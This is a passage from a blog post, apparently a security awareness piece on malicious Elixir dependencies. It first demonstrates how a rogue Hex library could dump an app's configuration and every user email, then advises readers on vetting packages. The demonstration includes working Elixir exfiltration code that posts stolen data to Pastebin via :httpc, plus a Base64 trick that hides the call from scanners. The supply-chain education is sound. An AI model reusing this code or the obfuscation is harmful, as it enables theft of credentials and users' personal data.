&lt;li&gt;&lt;code&gt;api_dev_key&lt;/code&gt;: The access key to Pastebin&apos;s API. I generated this by signing up to Pastebin with a masked email.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;api_option&lt;/code&gt;: Tells Pastebin that we want to paste the content into a new file.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;api_paste_private&lt;/code&gt;: Tells Pastebin to make the new file private so that only we can read it. We don&apos;t want other people to see the configuration on Pastebin.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;api_user_key&lt;/code&gt;: Tells Pastebin which user the file shouldn&apos;t be connected to (my profile). If we don&apos;t provide this parameter, we can&apos;t make the file private.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;api_paste_code&lt;/code&gt;: The stolen configuration. We can send any text here.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;You can find the full code on &lt;a href=&quot;https://gist.github.com/PJUllrich/5643794e3f1fd25ba0feb45ad6014a68&quot;&gt;GitHub&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;And that&apos;s it! Now, we will steal the application&apos;s configuration and post it on Pastebin from where we can then retrieve it for further malicious activities. Here&apos;s a screenshot of how the file looks like on Pastebin:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/posts/steal-secrets/pastebin.png&quot; alt=&quot;A screenshot of a file on Pastebin that contains the application&apos;s configuration including postgres credentials, secret key base, and more.&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#stealing-your-user-data&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;stealing-your-user-data&quot;&gt;&lt;/a&gt;Stealing your User Data&lt;/h3&gt;
&lt;p&gt;Now that we can steal any secrets and post them to Pastebin, let&apos;s go one step further and steal all user data stored in the database. Our library can execute raw SQL, so let&apos;s leverage that. First, we want to find all tables that contain a field called &lt;code&gt;email&lt;/code&gt; or &lt;code&gt;emails&lt;/code&gt;. Then, we&apos;ll extract all emails stored in these tables and send them off to Pastebin. Here&apos;s the code for that:&lt;/p&gt;
&lt;pre id=&quot;code-block-6&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;handle_info&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:attack&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;state&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;repos&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;apply&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;Ecto.Repo&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:all_running&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Enum&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;each&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;repos&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;&amp;&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;steal_config&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Enum&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;each&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;repos&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;&amp;&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;steal_emails&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:noreply&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;state&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;defp&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;steal_emails&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;repo&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;tables&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;get_tables_with_emails&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;repo&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Enum&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;each&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;tables&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;fn&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;table&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;-&gt;&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;do_steal_emails&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;repo&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;table&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;defp&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;get_tables_with_emails&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;repo&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;query&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&quot;&quot;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;16&quot;&gt;    SELECT table_name
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;17&quot;&gt;    FROM information_schema.columns
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;18&quot;&gt;    WHERE column_name in (&amp;#39;email&amp;#39;, &amp;#39;emails&amp;#39;);
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;19&quot;&gt;  &quot;&quot;&quot;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;20&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;21&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:ok&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;result&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;apply&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;Ecto.Adapters.SQL&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:query&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;repo&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;query&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;22&quot;&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;List&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;flatten&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;result&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;rows&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;23&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;24&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;25&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;defp&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;do_steal_emails&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;repo&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;table&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;26&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;query&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;SELECT email FROM &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;#&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;table&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;27&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;28&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:ok&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;result&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;apply&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;Ecto.Adapters.SQL&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:query&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;repo&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;query&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;29&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;emails&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;List&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;flatten&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;result&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;rows&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;30&quot;&gt;  &lt;span style=&quot;color: #d2a8ff;&quot;&gt;send_secret&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;emails&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;31&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Let&apos;s walk through the code above. First, we go through every repo and execute a SQL query that returns all tables that contain the column &lt;code&gt;email&lt;/code&gt; or &lt;code&gt;emails&lt;/code&gt;. If you generated your authentication system with &lt;code&gt;mix phx.gen.auth&lt;/code&gt;, your &lt;code&gt;users&lt;/code&gt; table will have this column.&lt;/p&gt;
&lt;p&gt;Next, for all tables that contain an &lt;code&gt;email&lt;/code&gt; column, we retrieve all user emails, which are usually stored in plaintext. We then send off the list of emails through &lt;code&gt;:httpc&lt;/code&gt; to Pastebin using the &lt;code&gt;send_secret/1&lt;/code&gt; function.&lt;/p&gt;
&lt;p&gt;And that&apos;s it! We have now stolen the application configuration and the email address of all users. Nice!&lt;/p&gt;
&lt;p&gt;I will stop here, but I hope you get the idea. Any library that you pull into your application can access pretty much everything. You should be very careful with the libraries that you use.&lt;/p&gt;
&lt;p&gt;I didn&apos;t dive into all possible ways that a third-library could compromise your application. Be aware that a library has access to &lt;strong&gt;everything&lt;/strong&gt;, even your file system. So, it could also remove all your files and folders and wipe your entire server if it wanted to.&lt;/p&gt;
&lt;p&gt;Now, your first instinct might be: &lt;code&gt;I&apos;ll just read all code from all libraries on GitHub before using them!&lt;/code&gt;. Sadly, I have bad news for you. &lt;strong&gt;The code that you download from Hex.pm might not be the code that you see on GitHub&lt;/strong&gt;. So, if you read the code, make sure to do it on Hex.pm. As far as I know, Hex does not whether these are the same. You could create a checksum of the code on GitHub and compare it with the checksum that Hex gives you, but that might be tedious.&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#how-to-protect-yourself&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;how-to-protect-yourself&quot;&gt;&lt;/a&gt;How to protect yourself&lt;/h2&gt;
&lt;p&gt;You might think now: &lt;code&gt;That&apos;s terrible! How can I protect myself?&lt;/code&gt; and unfortunately, there&apos;s no easy answer. However, I reached out to the &lt;a href=&quot;https://hex.pm&quot;&gt;Hex&lt;/a&gt; Core Team and got some useful tips by the incredibly helpful &lt;a href=&quot;https://twitter.com/wojtekmach&quot;&gt;Wojtek Mach&lt;/a&gt;.&lt;br /&gt;
I also asked &lt;a href=&quot;https://twitter.com/paraxialio&quot;&gt;Michael Lubas&lt;/a&gt; for suggestions. Michael is the founder of &lt;a href=&quot;https://paraxial.io&quot;&gt;Paraxial.io&lt;/a&gt;, a cybersecurity firm focused on Elixir applications. Here is what they had to say.&lt;/p&gt;
&lt;p&gt;According to Wojtek, the Hex package manager conducts no security scanning of its packages and would not have flagged the attacks above. Security scans like checking for HTTP calls to Pastebin are pointless because attackers can circumvent the scans easily by obfuscating the code. For example, we can obfuscate the &lt;code&gt;:httpc&lt;/code&gt;-call above by Base64 encoding both the &lt;code&gt;:httpc&lt;/code&gt; atom and the URL:&lt;/p&gt;
&lt;pre id=&quot;code-block-7&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;apply&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;aHR0cGM=&quot;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;|&gt;&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Base&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;decode64!&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;|&gt;&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;String&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;to_atom&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:request&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;Base&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;decode64!&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;aHR0cHM6Ly9wYXN0ZWJpbi5jb20=&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;# This is equal to:&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;apply&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:httpc&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:request&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;https://pastebin.com&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Hex does reserve library names forever though. Even if you retire a package, nobody can take over the library name. So, that at least is one less headache.&lt;/p&gt;
&lt;p&gt;Now, here is what you can do to reduce the risk of adding malicious libraries to your project.&lt;/p&gt;
&lt;h3&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#read-the-code&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;read-the-code&quot;&gt;&lt;/a&gt;Read the Code&lt;/h3&gt;
&lt;p&gt;First, before you add a library, go through its code &lt;strong&gt;on Hex.pm not on GitHub&lt;/strong&gt;. Hex doesn&apos;t check whether the code of a package is equal to its GitHub repository. So, a library might have different code on GitHub than on Hex.pm. To read the library code on Hex, click on the little &lt;code&gt;&lt;&gt;&lt;/code&gt; sign next to its latest version. After reading through a library&apos;s code, you unfortunately also have to read through the code of its dependencies. Hex shows you a list of all dependencies next to the package versions.&lt;/p&gt;
&lt;p&gt;The last step before adding the library is checking the publisher. Hex shows you the profile of who published a library in the package overview. You should check that the person that maintains the code on e.g. GitHub also publishes the package. If not, check the publisher thoroughly and make sure that it&apos;s not an attacker that took somebody&apos;s code and published another library with a similar name to the original library.&lt;/p&gt;
&lt;p&gt;Here is where you can find these options on &lt;a href=&quot;https://hex.pm&quot;&gt;hex.pm&lt;/a&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/posts/steal-secrets/hex-ui.png&quot; alt=&quot;A screenshot of a package in Hex.pm that highlights the chevron next to a package version that one can click to read the code of the library, the little page icon next to a version that opens up a diff reader that shows the changes between versions, and the location where the publisher of a package is shown.&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#check-library-updates&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;check-library-updates&quot;&gt;&lt;/a&gt;Check library updates&lt;/h3&gt;
&lt;p&gt;After you add a library, you should re-read the code for every new version before updating. Luckily, Hex offers a convenient way to see the changes between the new to the old version. You can go to &lt;a href=&quot;https://diff.hex.pm/&quot;&gt;diff.hex.pm&lt;/a&gt;, enter the library name, and select the previous version and the version you want to update. You can also open the diff view on the package side by clicking on the little page icon next to a version number. See the screenshot above.&lt;/p&gt;
&lt;p&gt;Lastly, you can list your dependencies and their latest version using &lt;code&gt;mix hex.outdated&lt;/code&gt;. This will generate a list of all packages, their version in your application, their latest version, and whether you can update to them automatically. At the end of the output, hex provides a link to &lt;code&gt;diff.hex.pm&lt;/code&gt; that lists all packages to which you can update automatically.&lt;/p&gt;
&lt;pre id=&quot;code-block-8&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-bash&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;Dependency&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;Current&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;Latest&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;Status&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;httpoison&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;1.8.2&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;2.1.0&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;Update&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;not&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;possible&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;phoenix&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;1.7.6&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;1.7.7&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;Update&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;possible&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;phoenix_live_view&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;0.19.3&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;0.19.5&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;Update&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;possible&lt;/span&gt;
